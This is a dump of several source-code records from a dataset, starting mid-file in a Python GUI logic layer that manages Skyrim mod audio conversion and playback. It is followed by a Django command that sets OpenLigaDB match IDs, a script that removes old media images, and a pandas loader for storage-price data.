mp3\n        if exists(mp3_file):\n            msg = \" mp3[ok] \"\n        # wav\n        if exists(wav_file):\n            msg += \" wav[ok] \"\n        else:\n            msg += \"wav[missing] \"\n        # xwm\n        if exists(xwm_file):\n            msg += \"xmw[ok] \"\n        else:\n            msg += \"xmw[missing] \"\n        # lip\n        if exists(lip_file):\n            msg += \"lip[ok] \"\n        else:\n            msg += \"lip[missing] \"\n        # fuz\n        if exists(fuz_file):\n            msg += \"fuz[ok] \"\n        else:\n            msg += \"fuz[missing] \"\n        return msg\n\n    def set_sound(self, sound_path: str):\n        \"\"\"\n        Screen Element: Select row\n        :param sound_path:\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        self._console_add(\"set_sound() sound_path: \" + sound_path)\n        _log.debug(\"-- set_sound() sound_path:\" + sound_path)\n        if sound_path.strip() == \"\":\n            return\n        ret_val = self.encoder.try_to_gen_wav(sound_path, force_generation=False)\n        if ret_val == SkyAudioEncoder.RET_SUCCESS:\n            wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n            self.player.set(wav_file)\n        else:\n            ret_msg = self.encoder.get_last_error()\n            err_description = self.encoder.get_last_stdout()\n            popup_text = \"Error selecting track \" + sound_path + \": \" + ret_msg + \"\\n\\n\" + err_description\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=\"Play Audio Error\")\n            self._console_add(popup_text)\n\n    def play_sound(self, sound_path: str):\n        \"\"\"\n        Screen Element: Play Button\n        :param sound_path:\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        self._console_add(\"play_sound() sound_path: \" + sound_path)\n        _log.debug(\"-- play_sound() sound_path:\" + sound_path)\n        if sound_path == \"\":\n            popup_text = \"No sound file selected.\"\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_INFO_POPUP)\n            self._console_add(popup_text)\n            return\n        ret_val = self.encoder.try_to_gen_wav(sound_path, force_generation=False)\n        if ret_val == SkyAudioEncoder.RET_SUCCESS:\n            wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n            self.player.play(wav_file)\n        else:\n            ret_msg = self.encoder.get_last_error()\n            err_description = self.encoder.get_last_stdout()\n            popup_text = \"Error playing track \" + sound_path + \": \" + ret_msg + \"\\n\\n\" + err_description\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=\"Play Audio Error\")\n            self._console_add(popup_text)\n\n    def stop_sound(self):\n        \"\"\"\n        Screen Element: Stop Button\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        self._console_add(\"stop_sound()\")\n        _log.debug(\"-- stop_sound()\")\n        self.player.stop()\n\n    def pause_sound(self):\n        \"\"\"\n        Screen Element: Pause Button\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        self._console_add(\"pause_sound()\")\n        _log.debug(\"-- stop_sound()\")\n        self.player.pause()\n\n    def set_volume(self, volume: int):\n        \"\"\"\n        Screen Element: Volume bar.\n        :param volume:\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        self._console_add(\"set_volume() volume:\" + str(volume))\n        _log.debug(\"-- set_volume() \" + str(volume))\n        v_in = volume/100\n        self.player.set_volume(v_in)\n\n    def open_folder(self, sound_path: str):\n        \"\"\"\n        Screen Element: Open Folder Button\n        :param sound_path:\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"-- open_folder()\")\n        self._console_add(\"open_folder() sound_path:\" + sound_path)\n        mp3_file = FileUtils.change_ext(sound_path, Exts.EXT_MP3)\n        lip_file = FileUtils.change_ext(sound_path, Exts.EXT_LIP)\n        wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n        xwm_file = FileUtils.change_ext(sound_path, Exts.EXT_XWM)\n        fuz_file = FileUtils.change_ext(sound_path, Exts.EXT_FUZ)\n        if exists(wav_file):\n            FileUtils.open_file_on_file_explorer(wav_file)\n            return\n        if exists(xwm_file):\n            FileUtils.open_file_on_file_explorer(xwm_file)\n            return\n        if exists(fuz_file):\n            FileUtils.open_file_on_file_explorer(fuz_file)\n            return\n        if exists(lip_file):\n            FileUtils.open_file_on_file_explorer(lip_file)\n            return\n        if exists(mp3_file):\n            FileUtils.open_file_on_file_explorer(mp3_file)\n            return\n        popup_text = \"File \" + sound_path + \" not found.\"\n        sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_ERROR_POPUP)\n        self._console_add(popup_text)\n\n    def copy_track_name(self, sound_path: str):\n        \"\"\"\n        Copy the track name to the clipboard.\n        :param sound_path:\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        self._console_add(\"copy_track_name() sound_path:\" + sound_path)\n        _log.debug(\"-- copy_track_name()\")\n        pyperclip.copy(sound_path)\n        popup_text = \"Track name \" + sound_path + \" was copied to the clipboard.\"\n        sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_INFO_POPUP)\n        self._console_add(popup_text)\n\n    def copy_track_info(self, sound_path: str, list_audio_data):\n        \"\"\"\n        Copy track info to clipboard.\n        :param sound_path:\n        :param list_audio_data:\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"-- copy_track_info()\")\n        self._console_add(\"copy_track_info() sound_path:\" + sound_path)\n        data: AudioData\n        out_data = \"\"\n        for data in list_audio_data:\n            if data.file_path == sound_path:\n                out_data = data.to_string()\n        pyperclip.copy(out_data)\n        popup_text = \"Track information as copied to the clipboard: \\n\" + out_data\n        sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_INFO_POPUP)\n        self._console_add(popup_text)\n\n    def audio_gen_lip(self, sound_path: str, list_audio_data):\n        \"NOT WORKING PROPERLY\"\n        _log = Logger.get()\n        _log.debug(\"-- audio_gen_lip()\")\n        self._console_add(\"audio_gen_lip() sound_path:\" + sound_path)\n        data: AudioData\n        subtitles = \"\"\n        wavfile = sound_path + \".wav\"\n        if exists(wavfile) != True:\n            msg = \"Error, could not find WAV file \" + wavfile + \" required to generate the lip file!\"\n            _log.warning(\"**WARNING** \" + msg)\n            self._console_add(msg)\n            sg.popup_ok_cancel(msg, keep_on_top=True, icon=self.app.app_icon_ico,\n                               title=AudioLogicLayer.STR_ERROR_POPUP)\n            return False\n        for data in list_audio_data:\n            if data.file_path == sound_path:\n                subtitles = data.subtitle\n        # 0 - Creation Kit Exe\n        # 1 - WAV file\n        # 3 - Subtitle\n        cmd = \"{0}  -GenerateSingleLip:\\\"{1}\\\" \\\"{2}\\\"\".format(self.app.creation_kit_exe, sound_path, subtitles)\n        # print(\"##############\" + cmd)\n\n    def audio_gen_xwm(self, sound_path: str):\n        \"\"\"\n        Generate XWM file.\n        :param sound_path:\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"-- audio_gen_xwm()\")\n        self._console_add(\"audio_gen_xwm(): \" + sound_path)\n        if sound_path.strip() == \"\":\n            popup_text = \"Error: No sound file selected!\"\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico,\n                     title=AudioLogicLayer.STR_INFO_POPUP)\n            self._console_add(popup_text)\n            return\n        xwm_file = FileUtils.change_ext(sound_path, Exts.EXT_XWM)\n        wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n        # in case a XWM file already exists, ask first\n        if exists(xwm_file):\n            popup_text = \"The following file is going to be overwritten: \\n\" + str(xwm_file) +\\\n                         \"\\n\\nDo you want to continue?\"\n            popup_ret = sg.popup_ok_cancel(popup_text, keep_on_top=True, icon=self.app.app_icon_ico,\n                                 title=AudioLogicLayer.STR_INFO_POPUP)\n            self._console_add(popup_text)\n            if popup_ret == AudioLogicLayer.STR_CANCEL:\n                return\n        # XWM file is going to be generated!\n        # in case WAV does not exist, create one\n        ret_flag = True\n        ret_int = SkyAudioEncoder.RET_SUCCESS\n        ret_msg = \"\"\n        ret_stdout = \"\"\n        if not exists(wav_file):\n            [ret_flag, ret_val, ret_msg, ret_stdout] = self._generate_wav_if_not_exit(sound_path, xwm_to_wav=False)\n        if not ret_flag:\n            _log.warn(\"Last Stdout:\" + ret_stdout)\n            _log.warn(\"Last error:\" + ret_msg + \" for sound_path:\" + sound_path)\n            self._console_add(\"Last Stdout:\\n\" + ret_stdout)\n            self._console_add(\"Last error:\\n\" + ret_msg + \" for sound_path:\" + sound_path)\n            popup_text = \"Error Generating XWM file: Error creating WAV file.\\nSound Path: \" + sound_path + \\\n                         \"\\nError Message:\" + ret_msg\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_ERROR_POPUP)\n            self._console_add(popup_text)\n            return\n        ret_val = self.encoder.wav_to_xwm(sound_path)\n        ret_stdout = self.encoder.get_last_stdout()\n        ret_msg = self.encoder.get_last_error()\n        _log.warn(\"Last Stdout:\\n\" + ret_stdout)\n        self._console_add(\"Last Stdout:\\n\" + ret_stdout)\n        if ret_val != SkyAudioEncoder.RET_SUCCESS:\n            _log.error(\"Last error:\" + ret_msg + \" for sound_path:\" + sound_path)\n            self._console_add(\"Last error:\" + ret_msg + \" for sound_path:\" + sound_path)\n            popup_text = \"Error encoding WAV into XWM.\\nSound Path:\" + sound_path + \"\\nError Code:\" + str(ret_val) + \\\n                         \".\\nError Message:\" + ret_msg\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico,\n                     title=AudioLogicLayer.STR_ERROR_POPUP)\n            self._console_add(popup_text)\n            return\n        popup_text = \"Success generating XWM file.\"\n        sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_INFO_POPUP)\n        self._console_add(popup_text)\n\n    def audio_gen_fuz(self, sound_path: str):\n        \"\"\"\n        Generate fuz file.\n        :param sound_path:\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"-- audio_gen_fuz()\")\n        self._console_add(\"audio_gen_fuz() sound_path:\" + sound_path)\n        fuz_file = FileUtils.change_ext(sound_path, Exts.EXT_FUZ)\n        ret_val = self.encoder.fuz(sound_path)\n        if ret_val != SkyAudioEncoder.RET_SUCCESS:\n            popup_text = \"Error encoding file into FUZ format: \" + self.encoder.get_last_error()\n            _log.error(\"PopUp Error: \" + popup_text)\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_ERROR_POPUP)\n            self._console_add(popup_text)\n            return\n        _log.debug(\"FUZ file \" + fuz_file + \" generated successfully!\")\n        popup_text = \"Success generating FUZ file \" + fuz_file + \".\"\n        sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_INFO_POPUP)\n        self._console_add(popup_text)\n\n    def audio_gen_fuz_all(self, list_sound_path, parallel_method: int, ask_popup=True):\n        \"\"\"\n        Execute fuz command massively, and returns a report.\n        Tests with parallel methods, using the same dataset:\n        *Method 1*\n        (1) QuickTimer: 32.77095009999999 seconds\n        (2) QuickTimer: 19.1045664 seconds (after restart, fow apps)\n        (3) QuickTimer: 21.5257244 seconds (no restart, few apps)\n        *Method 2*\n        (1) QuickTimer: 29.6214035 seconds (many apps opened)\n        (2) QuickTimer: 25.2366236 seconds (after restart, fow apps)\n        (3) QuickTimer: 15.642155099999997 seconds (no restart, few apps)\n        :param list_sound_path:\n        :param parallel_method: 1 for one thread per core, 2 for thread ThreadPool (built-in).\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"audio_gen_fuz_all()\")\n        self._console_add(\"audio_gen_fuz_all()\")\n        # popup of confirmation\n        if ask_popup:\n            popup_text = \"This procedure will overwrite any .fuz and xwm pre-existing file.\\n If the audios are recoded in mp3 format, wav files are going to be overwritten as well.\\n\\n Do you want to continue?\"\n            self._console_add(popup_text)\n            _log.debug(\"popup_text:\" + popup_text)\n            popup_ret = sg.popup_ok_cancel(popup_text, keep_on_top=True, icon=self.app.app_icon_ico,\n                                           title=AudioLogicLayer.STR_INFO_POPUP)\n            self._console_add(\"User option: \" + popup_ret)\n            if popup_ret == AudioLogicLayer.STR_CANCEL:\n                return\n        # init the batch generation\n        self._console_add(\"audio_gen_fuz_all() list_sound_path:\" + str(list_sound_path) + \", parallel_method:\" +\n                          str(parallel_method))\n        curr_exec_path = self.encoder.get_exe_dir()\n        report_list_arg = []\n        report_list_async = []\n        ncores = multiprocessing.cpu_count()\n        if ncores <= 1:\n            ncores = 2\n        self._console_add(\"-- ncores:\" + str(ncores))\n        # print(\"-- ncores:\" + str(ncores))\n        splitted_list = split_list(list_sound_path, ncores)\n        # Thread managing, one per core\n        if parallel_method != 2:\n            threads = []\n            ret_list = []\n            for small_list in splitted_list:\n                process = Thread(target=AudioLogicLayer._exec_fuz_list, args=[small_list, curr_exec_path, report_list_arg])\n                process.start()\n                threads.append(process)\n            for process in threads:\n                process.join()\n        # Builtin thread pool\n        else:\n            pool = ThreadPool()\n            async_result_list = []\n            for small_list in splitted_list:\n                async_result = pool.apply_async(AudioLogicLayer._exec_fuz_list, (small_list, curr_exec_path, report_list_arg))\n                async_result_list.append(async_result)\n            for item in async_result_list:\n                return_val = item.get()\n                report_list_async.append(return_val)\n        n_errors = ReportBatchCmd.count_errors(report_list_arg)\n        n_success = ReportBatchCmd.count_success(report_list_arg)\n        _log.debug(\"Batch finished. n_errors:\" + str(n_errors) + \", n_success:\" + str(n_success))\n        if ask_popup:\n            popup_ret = \"\"\n            popup_text = \"Batch execution finished with {0} errors and {1} successes. Do you want to open the report?\".format(n_errors, n_success)\n            popup_ret = sg.popup_ok_cancel(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_ERROR_POPUP)\n            self._console_add(popup_text)\n            html_report = ReportBatchCmd.export_report(report_list_arg, self.app.app_dir)\n            url_report = \"file:///\" + os.path.realpath(html_report)\n            # print(\"url_report:\" + url_report)\n            # print(\"popup_ret:\" + popup_ret)\n            if popup_ret != AudioLogicLayer.STR_CANCEL:\n                webbrowser.open(url_report, new=2)\n\n    def audio_gen_silent(self, sound_path: str, list_audio_data, ask_popup=True):\n        _log = Logger.get()\n        _log.debug(\"-- audio_gen_silent()\")\n        self._console_add(\"audio_gen_silent(): \" + sound_path)\n        # (1) check if no file was selected\n        if sound_path.strip() == \"\":\n            popup_text = \"Error: No sound file selected!\"\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico,\n                     title=AudioLogicLayer.STR_INFO_POPUP)\n            self._console_add(popup_text)\n            return\n        # (2) filter the right file text from table data\n        audio_text = \"\"\n        for data in list_audio_data:\n            if data.file_path == sound_path:\n                audio_text = data.subtitle\n                break\n        # (3) calc usefull info\n        sound_no_ext = FileUtils.remove_ext(sound_path)\n        reading_time = AudioLogicLayer._calc_reading_time(text_str=audio_text,\n                                                          wpm=self.app.settings_obj.audio_wpm,\n                                                          word_len=self.app.settings_obj.audio_word_len,\n                                                          min_time=self.app.settings_obj.audio_min_time,\n                                                          padding=self.app.settings_obj.audio_padding)\n        sound_wav = sound_no_ext + \".wav\"\n        bkp_name = sound_no_ext + \".rand\" + str(randint(10000, 99999)) + \".wav.bkp\"\n        file_already_exist = os.path.exists(sound_wav)\n        # (4) Popup and backup\n        if ask_popup and file_already_exist:\n            popup_text = \"Audio file \" + sound_wav + \" already exists. Continuing will overwrite this file.\\n\\n\" +\\\n                         \"New generated file are going to have \" + str(reading_time) + \" seconds.\\n\\n\" +\\\n                         \"Are you sure?\\n\\n\"\n            popup_ret = sg.popup_ok_cancel(popup_text, keep_on_top=True, icon=self.app.app_icon_ico,\n                                           title=AudioLogicLayer.STR_INFO_POPUP)\n            if (popup_ret == AudioLogicLayer.STR_CANCEL) or (popup_ret is None):\n                _log.debug(\"-- audio_gen_silent() CANCELED\")\n                self._console_add(\"-- audio_gen_silent() CANCELED\")\n                return\n            _log.info(\"creating backup file \" + str(bkp_name))\n            self.player.reset()\n            os.rename(sound_wav, bkp_name)\n        # (5) GENERATE EMPTY AUDIO\n        ret_val, trace = AudioLogicLayer._create_silent_audio(sound_no_ext, reading_time)\n        # in case of failure, report the error and restore the backup\n        if not ret_val:\n            _log.error(trace)\n            sg.popup_ok(trace, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_INFO_POPUP)\n            if file_already_exist:\n                os.rename(bkp_name, sound_wav)\n            self.player.set(sound_wav)\n            return\n        # in case of success, delete the backup\n        else:\n            _log.info(\"Deleting BACKUP file \" + bkp_name)\n            os.remove(bkp_name)\n            self.player.set(sound_wav)\n\n    def audio_unfuz(self, sound_path: str):\n        \"\"\"\n        Decode FUZ file into lip, xwm an wav format.\n        :param sound_path: sound file.\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"-- audio_unfuz()\")\n        self._console_add(\"audio_unfuz() sound_path:\" + sound_path)\n        lip_file = FileUtils.change_ext(sound_path, Exts.EXT_LIP)\n        xwm_file = FileUtils.change_ext(sound_path, Exts.EXT_XWM)\n        wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n        exit_file = []\n        resp = True\n        if exists(wav_file):\n            exit_file.append(wav_file)\n        if exists(xwm_file):\n            exit_file.append(xwm_file)\n        if exists(lip_file):\n            exit_file.append(lip_file)\n        if len(exit_file) > 0:\n            popup_text = \"The following files are going to be overwritten: \\n\" + str(exit_file) +\\\n                         \"\\n\\nDo you want to continue?\"\n            _log.error(\"PopUp Error: \" + popup_text)\n            popup_ret = sg.popup_ok_cancel(popup_text, keep_on_top=True, icon=self.app.app_icon_ico,\n                                           title=AudioLogicLayer.STR_INFO_POPUP)\n            if popup_ret == AudioLogicLayer.STR_CANCEL:\n                _log.info(\"Operation {0} was CANCELLED\".format(\"audio_unfuz()\"))\n                self._console_add(\"Operation {0} was CANCELLED\".format(\"audio_unfuz()\"))\n                return\n        ret_val = self.encoder.unfuz(sound_path)\n        if ret_val != SkyAudioEncoder.RET_SUCCESS:\n            popup_text = \"Error decoding file \" + sound_path + \"\\nError Code:\" + str(ret_val) + \"\\n. Error message:\" + \\\n                         self.encoder.get_last_error()\n            _log.error(\"PopUp Error: \" + popup_text)\n            sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_ERROR_POPUP)\n            self._console_add(popup_text)\n            return\n        _log.debug(\"UNFUZ on file \" + sound_path + \" was successful!\")\n        popup_text = \"Success on UNFUZ file \" + sound_path + \".\"\n        self._console_add(popup_text)\n        sg.Popup(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_INFO_POPUP)\n\n    def get_current_track_len(self):\n        \"\"\"\n        Returns track len in seconds.\n        :return:\n        \"\"\"\n        return self.player.len()\n\n    def get_current_track_progress(self):\n        \"\"\"\n        Returns track progress in seconds.\n        :return:\n        \"\"\"\n        return self.player.position()\n\n    def console_has_change(self):\n        \"\"\"\n        Tells if the console has any change or not.\n        :return: True or false.\n        \"\"\"\n        return self._console_has_change\n\n    def get_console_output(self):\n        \"\"\"\n        Retuns the string with the log execution of the last task.\n        :return: string with the console output.\n        \"\"\"\n        self._console_has_change = False\n        return self.console_output\n\n    @staticmethod\n    def _exec_fuz_list(list_files, exec_path, list_exec_report):\n        \"\"\"\n        Execute the fuz operation for all listed files on list_files. The encoder is instantiated using the exec_path\n        as reference. A list of report objects BatchCmdReport is returned and is appended (extend) to the mutable list\n        list_exec_report.\n        :param list_files: list of sound files where are going to be applied the fuz operation.\n        :param exec_path: Exec path to instantidate the SkyAudioEncoder object.\n        :param list_exec_report: mutable list of execution reports.\n        :return: list of execution reports generated in this thread.\n        \"\"\"\n        encoder = SkyAudioEncoder(exec_path)\n        thread_report = []\n        if len(list_files) == 0:\n            return thread_report\n        for sound_path in list_files:\n            report = ReportBatchCmd()\n            fuz_file = FileUtils.change_ext(sound_path, Exts.EXT_FUZ)\n            ret_val = encoder.fuz(sound_path)\n            report.error_code = ret_val\n            if ret_val != SkyAudioEncoder.RET_SUCCESS:\n                report.error_flag = False\n                report.error_message = encoder.get_last_error()\n            else:\n                report.error_flag = True\n            report.command = encoder.get_last_command()\n            report.stdout = encoder.get_last_stdout()\n            report.process_code = encoder.get_last_encodder_ret_code()\n            report.file_name = sound_path\n            report.exe_dir = exec_path\n            thread_report.append(report)\n        AudioLogicLayer.batchReportMutex.acquire()\n        try:\n            list_exec_report.extend(thread_report)\n        finally:\n            AudioLogicLayer.batchReportMutex.release()\n        return thread_report\n\n    @staticmethod\n    def _calc_reading_time(text_str, wpm=110, word_len=5, min_time=2, padding=0):\n        \"\"\"\n        Estimate the reading time in seconds.\n        :param text_str: Text to be read.\n        :param wpm: words per minute.\n        :param word_len: length of each word.\n        :param min_time: minimum time.\n        :param padding: this value will be added to the generated time.\n        :return: extimated reading time.\n        \"\"\"\n        # split text in words\n        text_list = text_str.split()\n        # count words\n        total_words = 0\n        for current_text in text_list:\n            total_words += len(current_text) / word_len\n        # calc reading time in seconds\n        read_time = (total_words * 60) / wpm\n        # add padding\n        read_time = read_time + padding\n        # ensure min time\n        read_time = max([read_time, min_time])\n        return round(read_time)\n\n    @staticmethod\n    def _create_silent_audio(file_name: str, duration_sec: int):\n        try:\n            silent_audio = AudioSegment.silent(duration=int(duration_sec) * 1000)  # or be explicit\n            silent_audio.export(file_name + \".wav\", format=\"wav\")\n            return True, \"SUCCESS\"\n        except:\n            ex_msg = \"Error exporting file \" + file_name + \".wav\\n'\" +\\\n                     \"traceback.format_exc(): \" + str(traceback.format_exc()) + \"\\n\" +\\\n                     \"sys.exc_info()[2]: \" + str(sys.exc_info()[2])\n            return False, ex_msg\n\n    def _generate_wav_if_not_exit(self, sound_path, xwm_to_wav=True):\n        \"\"\"\n        Try to generate WAV file if it does not exit.\n        :param sound_path: Path of the file to be used on the generation of the wav file.\n        :param xwm_to_wav: optional flag to tell the method to try or not to generate a wav file from a xwm.\n        :return: return a vector [ret_flag: bool, ret_val: int, ret_msg: str, ret_stdout: str], where ret_flag is True\n        if the WAV file already exits, or it was rightly generated. Returns False in case some error occurred\n        generating the WAV file. ret_val is the code returned by the encoder. ret_str is the error message returned by\n        the encoder, in case of error, and the ret_strout is the console output generated (error os success).\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"-- _generate_wav_if_not_exit()\")\n        self._console_add(\"_generate_wav_if_not_exit()\")\n        ret_flag = False\n        ret_val = SkyAudioEncoder.RET_SUCCESS\n        ret_msg = \"\"\n        ret_stdout = \"\"\n        wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n        xwm_file = FileUtils.change_ext(sound_path, Exts.EXT_XWM)\n        mp3_file = FileUtils.change_ext(sound_path, Exts.EXT_MP3)\n        _log.debug(\"wav_file:\" + wav_file + \", xwm_file:\" + xwm_file + \", mp3_file:\" + mp3_file)\n        self._console_add(\"wav_file:\" + wav_file + \", xwm_file:\" + xwm_file + \", mp3_file:\" + mp3_file)\n        if not exists(wav_file):\n            _log.info(\"WAV file for <\" + sound_path + \"> was not found. Search for alternatives: XWM and MP3...\")\n            self._console_add(\"WAV file for <\" + sound_path + \"> was not found. Search for alternatives: XWM and MP3...\")\n            # try to generate file from XWM\n            if exists(xwm_file) and xwm_to_wav:\n                _log.info(\"XWM was found for \" + sound_path)\n                self._console_add(\"XWM was found for \" + sound_path)\n                ret_val = self.encoder.xwm_to_wav(sound_path)\n                ret_stdout = self.encoder.get_last_stdout()\n                _log.error(\"Last stdout: \" + ret_stdout)\n                self._console_add(\"Last stdout: \" + ret_stdout)\n                if ret_val != SkyAudioEncoder.RET_SUCCESS:\n                    ret_msg = self.encoder.get_last_error()\n                    _log.error(\"Last error: \" + ret_msg)\n                    self._console_add(\"Last error: \" + ret_msg)\n            # try mp3 format\n            elif exists(mp3_file):\n                _log.info(\"MP3 was found for \" + sound_path)\n                self._console_add()\n                ret_val = self.encoder.mp3_to_wav(sound_path)\n                ret_stdout = self.encoder.get_last_stdout()\n                _log.error(\"Last stdout: \" + ret_stdout)\n                self._console_add(\"Last stdout: \" + ret_stdout)\n                if ret_val != SkyAudioEncoder.RET_SUCCESS:\n                    ret_msg = self.encoder.get_last_error()\n                    _log.error(\"Last error: \" + ret_msg)\n                    self._console_add(\"Last error: \" + ret_msg)\n            else:\n                ret_msg = \"WAV file does not exit for track \\\"\" + sound_path + \\\n                          \"\\\", and no alternative (xwm or mp3) was found.\\n Try to use UnFuz first.\"\n                _log.error(\"ret_msg:\" + ret_msg)\n                self._console_add(\"ret_msg:\" + ret_msg)\n        else:\n            ret_flag = True\n        if ret_val == SkyAudioEncoder.RET_SUCCESS:\n            ret_flag = True\n        # print([ret_flag, ret_val, ret_msg, ret_stdout])\n        self._console_add(str([ret_flag, ret_val, ret_msg, ret_stdout]))\n        return [ret_flag, ret_val, ret_msg, ret_stdout]\n\n    def _console_clear(self):\n        self.console_output = \"\"\n        self._console_has_change = True\n\n    def _console_add(self, msg: str):\n        self.console_output += msg + \"\\n\"\n        self._console_has_change = True\n\n\n\n\n\n","repo_name":"AndersonPaschoalon/CKsQuestDialogManager","sub_path":"Gui/AudioLogicLayer.py","file_name":"AudioLogicLayer.py","file_ext":"py","file_size_in_byte":35082,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"23398903481","text":"# -*- coding: utf-8 -*-\nimport logging\n\nimport dateutil\nimport requests\nfrom django.db.models import Q\n\n__author__ = 'mloeks'\n\nfrom main.models import Game\n\nfrom django.core.management.base import BaseCommand\n\nLOG = logging.getLogger('rtg.' + __name__)\n\n\nclass Command(BaseCommand):\n    args = ''\n    help = 'Set OpenLigaDB match IDs on games'\n\n    def handle(self, *args, **options):\n        openligadb_games = self.fetch_games()\n        for game in list(self.get_games_without_match_id()):\n            match_found = False\n            for ol_game in openligadb_games:\n                if self.game_matches(game, ol_game):\n                    LOG.info('Setting Match ID of game %s to %s' % (game, ol_game[0]))\n                    match_found = True\n                    game.openligadb_match_id = ol_game[0]\n                    game.save()\n                    break\n            if not match_found:\n                LOG.warning('No ID found for game %s (ID %s)' % (game, game.pk))\n\n    def fetch_games(self):\n        resp = requests.get('https://www.openligadb.de/api/getmatchdata/fifa18/2018').json()\n        return [(\n            g['MatchID'],\n            dateutil.parser.parse(g['MatchDateTimeUTC']),\n            g['Team1']['TeamName'],\n            g['Team2']['TeamName']\n        ) for g in resp]\n\n    def get_games_without_match_id(self):\n        return Game.objects\\\n            .filter(Q(openligadb_match_id__isnull=True) | Q(openligadb_match_id__exact=''))\n\n    def game_matches(self, game, ol_game):\n        return game.kickoff == ol_game[1] and game.hometeam.name.lower() == ol_game[2].lower() \\\n                    and game.awayteam.name.lower() == ol_game[3].lower()\n","repo_name":"mloeks/rtg","sub_path":"main/management/commands/update_match_ids.py","file_name":"update_match_ids.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42374486370","text":"import os, os.path\r\nimport time\r\nfrom loguru import logger\r\nfrom sys import stderr\r\n\r\nlogger.remove()\r\nlogger.add(stderr, format=\"<white>{time:HH:mm:ss}</white>\"\r\n                          \" | <level>{level: <8}</level>\"\r\n                          \" | <cyan>{line}</cyan>\"\r\n                          \" - <white>{message}</white>\")\r\n\r\ndef check_images():\r\n    p='media'\r\n    return [os.remove(file) for file in (os.path.join(path, file) for path, _, files in os.walk(p) for file in files) if os.stat(file).st_mtime < time.time() - 7 * 86400]\r\nlogger.debug(f\"LAUNCHED IMAGE REMOVER\")\r\nwhile (True):\r\n    time.sleep(1*3600)\r\n    logger.debug(\"STARTING IMAGE REMOVE\")\r\n    result=len(check_images())\r\n    logger.debug(f\"REMOVED {result} IMAGES\")\r\n","repo_name":"xiagn17/homie-bot","sub_path":"advert 2/image_remove.py","file_name":"image_remove.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4202253785","text":"import pandas as pd\nimport warnings\n\nwarnings.simplefilter(action=\"ignore\", category=FutureWarning)\n\n\n# Convert fractional year to pandas date format\ndef fractional_year_to_datetime(year_fraction):\n    year = int(year_fraction)\n    fraction = year_fraction - year\n    delta = pd.Timedelta(fraction * 365.25, unit=\"d\")\n    return pd.to_datetime(str(year)) + delta\n\n\ndef load_dataset():\n    dataset = {\n        \"ssd\": pd.read_csv(\n            \"./data/ssd-jcmit.csv\", sep=\" \", header=None, names=[\"ds\", \"y\"]\n        ),\n        \"drives\": pd.read_csv(\n            \"./data/drives-jcmit.csv\", sep=\" \", header=None, names=[\"ds\", \"y\"]\n        ),\n        \"flash\": pd.read_csv(\n            \"./data/flash-jcmit.csv\", sep=\" \", header=None, names=[\"ds\", \"y\"]\n        ),\n        \"memory\": pd.read_csv(\n            \"./data/memory-jcmit.csv\", sep=\" \", header=None, names=[\"ds\", \"y\"]\n        ),\n    }\n\n    for key in dataset:\n        dataset[key][\"ds\"] = dataset[key][\"ds\"].apply(fractional_year_to_datetime)\n\n    return dataset\n","repo_name":"mbledkowski/digital_storage_forecasting","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
